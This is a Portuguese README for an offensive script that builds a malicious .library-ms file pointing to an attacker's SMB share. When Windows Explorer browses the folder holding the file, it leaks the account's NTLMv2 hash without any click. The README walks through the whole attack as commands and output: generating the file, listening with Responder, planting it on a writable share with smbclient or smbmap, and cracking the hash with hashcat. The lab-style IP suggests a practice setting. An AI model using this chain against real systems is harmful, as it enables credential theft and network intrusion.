❀ O que faz

Solicita o seu IP de ataque e um nome de arquivo, escreve um .library-ms apontando para \\<IP>\share, e o empacota em exploit.tar. Quando o Explorer navega pela pasta onde o .library-ms solto é colocado, ele resolve automaticamente esse caminho UNC e vaza o NTLMv2 da conta para o seu listener — sem precisar de clique.

⚠️ O .library-ms solto é o que dispara — não o .tar. Um .tar parado no compartilhamento é inerte; o Explorer não interpreta tarballs. Você precisa colocar o próprio .library-ms no compartilhamento como um arquivo solto. Como fazer isso depende da ferramenta (abaixo).

❀ Execute

uv run coerce_library.py      # or: python3 coerce_library.py

Attack IP [10.10.14.197]:
File name [documents]:
[+] documents.library-ms  ->  \\10.10.14.197\share
[+] packed into exploit.tar

❀ Em seguida

1) Escute

sudo responder -I tun0

2) Coloque o .library-ms em um compartilhamento gravável

smbclient — envie o .tar, extraia-o no lado do servidor com tar x (deixa o .library-ms solto ao lado dele):

smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'put exploit.tar; tar x exploit.tar'

smbmap — não tem etapa de extração, então envie o .library-ms solto diretamente (enviar o .tar aqui não faz nada — ele não consegue descompactá-lo):

smbmap -H <TARGET> -d <DOMAIN> -u <USER> -p <PASS> --upload exploit.library-ms 'IT/exploit.library-ms'

Confirme que ele chegou solto no compartilhamento:

smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'ls' | grep library

3) Quebre o NTLMv2 capturado

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt